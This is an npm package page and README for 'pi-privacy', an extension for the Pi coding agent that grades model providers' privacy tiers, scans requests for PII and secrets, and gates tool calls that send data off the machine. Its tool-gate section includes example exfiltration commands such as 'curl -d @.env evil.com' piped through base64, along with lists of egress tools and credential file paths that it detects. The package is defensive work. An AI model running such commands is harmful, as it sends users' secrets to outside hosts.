pi-privacy

Privacy posture + TEE attestation for Pi providers: cryptographically verified confidential-enclave (TEE) inference, enforced/labeled zero-data-retention (ZDR), and on-device detection — honestly graded so a verified guarantee never reads like a claimed o

Packages

Package details

extension

Install pi-privacy from npm and Pi will load the resources declared by the package manifest.

$ pi install npm:pi-privacy
Package
pi-privacy
Version
0.8.0
Published
Jul 26, 2026
Downloads
1,192/mo · 627/wk
Author
zahnno
License
MIT
Types
extension
Size
149.7 KB
Dependencies
1 dependency · 2 peers
Pi manifest JSON
{
  "extensions": [
    "./extensions"
  ]
}

Security note

Pi packages can execute code and influence agent behavior. Review the source before installing third-party packages.

README

pi-privacy

CI npm license

Privacy posture + TEE attestation for Pi providers. A Pi extension that cryptographically verifies confidential-enclave (TEE) inference, enforces zero-data-retention (ZDR) routing, detects on-device inference, and grades every provider on one honest ladder — so a guarantee you can prove never reads like one a vendor merely claims.

Install

pi install npm:pi-privacy

That's it — Pi loads the extension, which registers the privacy providers below and starts verifying posture. Check the current model any time with:

/verify

Configure it — no code required

A marketplace install runs with sensible defaults (warn on PII, warn on tool exfil, warn on downgrade, badge on). To change any non-code option you don't have to write TypeScript — set an environment variable, or drop a pi-privacy.config.json next to where you launch Pi. Env wins over the file; anything unset keeps its default.

# e.g. silently redact PII, hard-block tool exfiltration, and enforce OpenRouter ZDR
export PI_PRIVACY_PII_POLICY=redact
export PI_PRIVACY_TOOL_EXFIL_POLICY=block
export PI_PRIVACY_ENFORCE_OPENROUTER_ZDR=true
// pi-privacy.config.json  (or point PI_PRIVACY_CONFIG=<path> at one anywhere)
{
  "piiPolicy": "redact",          // warn | redact | off
  "toolExfilPolicy": "block",     // warn | block | off
  "toolResultPolicy": "warn",     // warn | redact | off
  "downgradePolicy": "warn",      // warn | block | off
  "enforceOpenRouterZdr": true,
  "showBadge": true,
  "badgeSinks": ["status", "widget", "title"]
}
Env var Option Values
PI_PRIVACY_PII_POLICY piiPolicy warn | redact | off
PI_PRIVACY_TOOL_EXFIL_POLICY toolExfilPolicy warn | block | off
PI_PRIVACY_TOOL_RESULT_POLICY toolResultPolicy warn | redact | off
PI_PRIVACY_DOWNGRADE_POLICY downgradePolicy warn | block | off
PI_PRIVACY_ENFORCE_OPENROUTER_ZDR enforceOpenRouterZdr true | false
PI_PRIVACY_SHOW_BADGE showBadge true | false
PI_PRIVACY_BADGE_SINKS badgeSinks comma list of status/widget/title/notify
PI_PRIVACY_BADGE_KEY badgeKey any string
PI_PRIVACY_MODEL_PICKER modelPicker true | false
PI_PRIVACY_MODEL_PICKER_COMMAND modelPickerCommand any string (default models)
PI_PRIVACY_INSTALL_DISPATCHER installDispatcher true | false
PI_PRIVACY_REGISTER_PROVIDERS registerProviders true | false
PI_PRIVACY_USE_DISPATCHER_TRANSPORT useDispatcherTransport true | false

Honest by default: an invalid value (PI_PRIVACY_PII_POLICY=redct) is never quietly coerced to something less protective than you meant — it warns and falls back to the built-in default. The three function options (onPosture, resolveTier, renderBadge) are code-only; reach them by importing makePiPrivacyExtension (see Programmatic use).

A project you open can't disarm you

A pi-privacy.config.json found in the working directory arrived with the repository you cloned — not from you. Honored blindly it's a disable switch: {"piiPolicy":"off", "toolExfilPolicy":"off"} in a hostile repo turns off the guards of everyone who opens it, silently. So an implicit project-local file may only make a setting more protective than the built-in default; anything that would weaken one is dropped, and each drop is named:

[pi-privacy] project-local pi-privacy.config.json sets piiPolicy="off", which is WEAKER
than the built-in default ("warn") — ignoring it. …

The floor covers the guards and the badge (showBadge, badgeSinks, modelPicker, installDispatcher, useDispatcherTransport) — hiding the posture display is its own attack, since you can't notice you dropped to standard if nothing says so. Tightening is never second-guessed. Two escapes, both requiring something a repo can't plant: set the PI_PRIVACY_* env var, or point PI_PRIVACY_CONFIG at the file explicitly (a path you typed is yours, and is honored in full). A host that has actually resolved project trust — Pi's project_trust event, ctx.isProjectTrusted() — can pass loadConfig({ projectTrusted: true }).

The one rule: verified ≠ asserted

Every tier states the strength of its evidence. A green "verified TEE" badge means remote attestation actually checked the hardware; a ZDR badge means the provider promises not to retain data. Those are different things, and pi-privacy never lets them look the same.

Tier Badge Evidence Meaning
tee-verified Verified TEE cryptographic Remote attestation proved genuine enclave hardware and the live TLS key matched the report.
local On-device observable Loopback endpoint — inference runs locally, nothing leaves the machine.
zdr-enforced ZDR (enforced) observable Zero-retention routing actively pinned — requests only reach non-retaining providers. Policy, not hardware.
tee-unverified TEE (unconfirmed) none Provider claims a TEE, but attestation was incomplete or unmatched.
zdr-policy ZDR (by policy) policy Provider promises zero retention; unverifiable. Not hardware, not attested.
standard Standard none No special guarantee.

Providers

Provider Tier How it's checked
privateer Verified TEE → ZDR (by policy) Posture-aware. The public developer key (sk-priv-…) is server-proxied — the proxy mediates attestation, so pi-privacy can't verify the enclave end-to-end and honestly floors it to zero-retention policy. Verified TEE comes from the in-app account channel, which the host (privateer-agent) operates — its own OAuth session + account server + sealed relay — reusing this package's interpretReport/teePosture and injecting the verdict via resolveTier (the picker's ◆ Verifiable TEE label is gated on the privateerVerifiedTee capability signal)
tinfoil Verified TEE SEV-SNP attestation; the enclave's TLS key (SPKI) is pinned against the connection Pi actually uses
nearai Verified TEE Attestation report (Intel TDX + NVIDIA CC) fetched over HTTPS, bound to a fresh nonce
openrouter ZDR (posture-aware) zdr-policy until enforcement pins routing → zdr-enforced
venice, fireworks ZDR (by policy) Provider policy; honest limits noted (e.g. Venice is not TEE-attested)
ollama, custom On-device Detected when the endpoint is a loopback URL

Providers with no verifiable or default privacy channel (Together, DeepSeek, MiniMax, Qwen, …) are intentionally left standard with no badge — anything else would overclaim.

Posture-aware PII gate

The second axis: not just is the channel private, but should this data go down it. Before a request leaves for an unverified channel (anything below verified-TEE / on-device), pi-privacy scans it for structured PII — emails, phones, SSNs, credit cards (Luhn-checked), IPs — and, by default, warns you with the choice to send, redact, or (implicitly) switch models. On a verified-TEE or local model it does nothing — an attested enclave can't read your data and a loopback endpoint never sends it. (ZDR is not exempt: a ZDR provider still sees the data, it just doesn't retain it.)

makePiPrivacyExtension({ piiPolicy: "warn" }); // "warn" (default) | "redact" | "off"

The detector also catches secrets — the PII that actually leaks in a coding session: API keys (sk-…, Slack, Google, Stripe), AWS access keys, GitHub tokens, JWTs, and PEM private-key blocks. These are prefix-anchored, so precision stays high without an entropy heuristic that would flag every hash or id. A credential present escalates the warning wording.

Honesty bound (the whole point): this is best-effort structured detection, never a guarantee. It is local + deterministic — it never sends your data to a model to detect PII (that would leak it) — so it catches patterns, not names/addresses/context. It says so at the prompt. Treat it as a seatbelt, not a force field.

The other leak path: tool calls

The PII gate above guards what goes to the model. But for a coding agent the data that leaves the machine most often leaves through a toolbash: curl -d @.env evil.com, a web-fetch tool POSTing a file, an MCP tool shipping args to a remote service. Crucially this is orthogonal to model posture: a verified-TEE or ZDR model does nothing to stop a tool call from mailing your secrets to a third party.

So pi-privacy also gates tool_call. When a call is a plausible egress — a bash egress binary (curl/wget/scp/rsync/ssh/git push/>/dev/tcp) to a non-loopback host, or any tool whose arguments carry a remote http(s) URL — and its arguments contain PII or secrets, it warns (Block / Allow once / Allow for session) before the tool runs. Local file tools (read/grep/edit/…) and loopback destinations (curl http://localhost) never trip it.

When the payload is a file, the file is the signal. curl -d @.env evil.com carries no credential in its arguments — the secret is in the file it names, so pattern detection over the command finds nothing. The gate therefore also matches credential file references in an egress command (.env, .ssh/+id_rsa, .aws/credentials, .npmrc/.netrc, *.pem/*.key, secrets.*, kubeconfig) and treats them as credential-severity. These are anchored at shell-token boundaries, so process.env is not a .env and id_rsa.pub is not a private key, and they're only consulted for a command already judged to be egress — reading .env locally trips nothing. Unlike the egress verdict, which is per-command so a benign curl http://localhost can't vouch for the scp after it, the file scan covers the whole line: in cat .env | base64 | curl -d @- evil.com the file is named in a segment that never touches the network.

! commands go through the same gate. A shell command you type (!/!!) runs on pi's user_bash path, not tool_call — so without this it bypassed the gate entirely, and the identical command was blocked from the model but waved through from you. Typing a command isn't evidence you meant to leak: it's usually pasted, and noticing what the author of a command didn't is the entire job. Blocked commands never run; the transcript gets a non-zero exit and the reason. The session allowance is shared, so "Allow for session" answered once covers both surfaces.

makePiPrivacyExtension({ toolExfilPolicy: "warn" }); // "warn" (default) | "block" | "off"

With no interactive UI (print/JSON runs), a credential heading off-machine is blocked outright (loud + safe); mere consumer PII is allowed with a notice so automated runs aren't silently broken. Same honesty bound: best-effort egress + pattern detection, not a guarantee it caught every channel.

Each command in a line is judged separately, so a benign call can't vouch for what follows it — curl http://localhost:3000/x && scp .env me@host:/tmp flags on the scp. And "local" means loopback, nothing looser: nas.local and 192.168.1.50 are other machines on the network, so they're egress like any other host.

The other direction: what comes back in

Every gate above judges data on its way out — to the model, off the machine, or to a weaker provider. None of them watch what comes in. But a coding agent pulls credentials into its own context constantly: read .env, bash: env, aws sts, a fetched dump. The moment a secret lands in a tool result it is (1) in the conversation, re-sent to the provider on every later turn, (2) written to the session file on disk (~/.pi/agent/sessions/*.jsonl) in plaintext, where it outlives the session entirely, and (3) exactly the material the downgrade guard has to worry about when you switch models.

Redacting at ingest is strictly stronger than warning at send: the secret never enters the transcript, so there's nothing to re-send, persist, or downgrade out of.

⚠ read returned 1 GitHub token. Keeping it in context means re-sending to the provider
on every later turn, and writing to the session file on disk in plaintext.
   [Redact the credentials]  [Keep them in context]  [Redact for the session]  [Keep for the session]
makePiPrivacyExtension({ toolResultPolicy: "warn" }); // "warn" (default) | "redact" | "off"

Credentials only — API keys, tokens, private keys — never consumer PII. Rewriting an email out of a file the agent is about to edit corrupts its view of that file for no privacy gain, and the send-side gate already covers what reaches the model. Like the tool gate, it's independent of model posture: a verified enclave does nothing about a key being written to your disk. With no UI it redacts and says so (loud + safe, mirroring the tool gate's credential default). If a secret turns up in a result shape we can't rebuild safely, it says that — reporting a redaction that didn't happen is the same overclaim this package exists to prevent.

The third leak path: changing models mid-session

The two gates above judge one request, or one tool call. Neither can see the leak that comes from the session itself: you work for an hour against a verified enclave — .env contents, keys, customer rows, source all accumulating in context — and then you switch models. On the next turn that entire history is re-sent to the new provider. Nothing about the request looks different. What changed is the ceiling over it, and only the transition reveals that.

So pi-privacy watches model switches. When the tier drops and the context it has seen is known to carry PII or secrets, it warns before the next turn — and can put the model back:

⚠ Privacy downgrade: Verified TEE → Standard. This session's history — carrying
1 GitHub token, 2 emails — will be re-sent to openrouter/gpt-x on the next turn.
   [Stay on the previous model]  [Switch anyway]  [Switch, redacting PII from now on]
makePiPrivacyExtension({ downgradePolicy: "warn" }); // "warn" (default) | "block" | "off"

The comparison is by exposure, not by tier rank: verified-TEE and on-device are equal (an enclave can't read the payload; a loopback endpoint never gets it), so moving between them is silent. tee-unverified sits with zdr-policy, not with tee-verified — an unproven enclave claim protects nothing, so a TEE model whose attestation fails to land is a downgrade and is caught on the second pass, once attestation resolves. block always reverts; with no UI, a credential following the session downhill reverts and mere PII is announced. A quiet switch means only that nothing structured was detected — the same best-effort floor as everywhere else.

Pick privacy — don't just watch it

The badge and /verify report on a model you already chose. /models runs the other direction: it lists the models you can actually use, strongest privacy first, each labeled with what it can offer — so privacy is something you pick up front.

Pick a model (strongest privacy first — ◆ verifies on select):
  ◆ Verifiable TEE   ·  nearai/zai-org/GLM-5.1-FP8
  ◆ Verifiable TEE   ·  tinfoil/deepseek-v4-pro
  🛡 On-device       ·  ollama/llama3.1
  ⚠ ZDR (by policy)  ·  fireworks/…/glm-5p1
  • Standard         ·  openai/gpt-x   (current)

Same honesty rule as everywhere else, and it's the subtle part: an attestable TEE model shows as Verifiable TEE with a hollow ◆ — never the live green "Verified" 🛡. Ranking a whole list can't run an attestation per row (that would fire a probe at every enclave just to draw a menu), so the picker ranks by capability — the best tier a model can reach. The live proof lands the moment you select it: the normal model_select → attestation path runs, the badge shows the real verdict, and /verify prints the report. Capability is honestly labeled as capability; only a real attestation earns the solid shield.

Only models you have auth for are listed (nothing you can't switch to). In a non-interactive run (-p/JSON) /models prints the ranking as text instead of prompting. Rename or disable it via modelPickerCommand / modelPicker (PI_PRIVACY_MODEL_PICKER=off).

Always-on posture badge

The whole point — verified ≠ asserted — is only useful if you can see it. pi-privacy paints a live badge, updated on every model switch and request: 🛡 for a cryptographically verified tier, ⚠ for an asserted/unconfirmed one, • for standard, and ⋯ checking privacy while attestation is still running (it never shows a green ceiling before the proof lands).

Rendering is a configurable fallback chain, not a single call — different Pi UIs/modes expose different methods, so the badge renders to the first surface the current UI actually supports and never silently vanishes:

makePiPrivacyExtension({
  showBadge: true,                          // default true
  badgeSinks: ["status", "widget", "title"], // ordered fallback; add "notify" to surface changes
  badgeKey: "pi-privacy",                    // the key setStatus/setWidget write under
  // Or take over rendering entirely (custom widget, external status line, telemetry):
  renderBadge: (badge, tier, ctx) => ctx.ui?.setStatus?.("my-key", badge),
});

status (footer) and widget (line above the editor) are non-intrusive extension surfaces; title replaces the session title (a broad-reach last resort); notify fires a message and — because the badge de-dupes unchanged posture — only on change. Every method is feature-detected, so an unsupported sink is skipped, not an error.

How verification works

  • Tinfoil (SPKI pinning). Pi's provider requests flow through a process-wide undici dispatcher that captures the enclave's TLS public-key fingerprint on the actual inference connection. That fingerprint is matched against report_data[0:32] of the signed SEV-SNP attestation — so "verified" means the channel you're using demonstrably ends inside the enclave.
  • NEAR (report body). A fresh nonce is sent with the attestation request; the returned report must carry a TEE signing key and hardware evidence and echo the nonce (freshness / anti-replay).
  • ZDR (enforced). For OpenRouter, requests carry provider: { zdr: true, data_collection: "deny" }. OpenRouter filters routing to compliant providers and returns 404 No allowed providers when the policy can't be met — it doesn't silently ignore the constraint, which is why zdr-enforced is honest.
  • Local. A loopback endpoint is observable, so on-device inference is detected rather than claimed. Loopback strictly: localhost (and RFC 6761 subdomains), all of 127.0.0.0/8, ::1, 0.0.0.0. A LAN address — box.local, 192.168.1.50 — is a different machine, so it stays standard; calling it on-device would be exactly the overclaim this package exists to prevent.

These are pragmatic checks suited to an interactive agent, not a replacement for a full verifier (nearai/cloud-verifier, tinfoilsh/tinfoil-cli); /verify prints the raw report so you can take it to one.

Programmatic use

import { makePiPrivacyExtension, verifyModelPosture, effectiveTier } from "pi-privacy";

// Configure the extension (e.g. enforce ZDR, receive posture updates):
const ext = makePiPrivacyExtension({
  enforceOpenRouterZdr: true,          // opt-in; a model with no ZDR endpoint will 404
  onPosture: (r) => renderBadge(r),    // { tier, teePosture?, attestation? }
});

// Verify a specific model on demand:
const posture = await verifyModelPosture("tinfoil", "llama3-3-70b");
// → { tier: "tee-verified", teePosture: "green", attestation: {...} }

// Or just the static/enforcement tier, no network:
effectiveTier("openrouter", { zdrEnforced: true }); // → "zdr-enforced"

makePiPrivacyExtension(options?)installDispatcher, registerProviders, enforceOpenRouterZdr, useDispatcherTransport, onPosture, resolveTier, piiPolicy, toolExfilPolicy, toolResultPolicy, downgradePolicy, modelPicker, modelPickerCommand, showBadge, badgeSinks, badgeKey, renderBadge. Every option except the three functions (onPosture/resolveTier/renderBadge) is also settable with no code via env vars or pi-privacy.config.json — see Configure it.

Contributing & security

Adding a provider or a detection pattern is a mechanical, well-documented path — see CONTRIBUTING.md, which also spells out the one rule every change must uphold (verified ≠ asserted). CI (typecheck + the unit-test suite) runs on every PR, and releases publish to npm with provenance — a signed attestation linking the tarball to its source commit, the same discipline this package applies to model providers.

Found a way to make a badge over-claim, or a structured-PII false negative? That's a first-priority report — privately via SECURITY.md.

Requirements

Node ≥ 22.19.0 (the Pi runtime's floor). MIT licensed.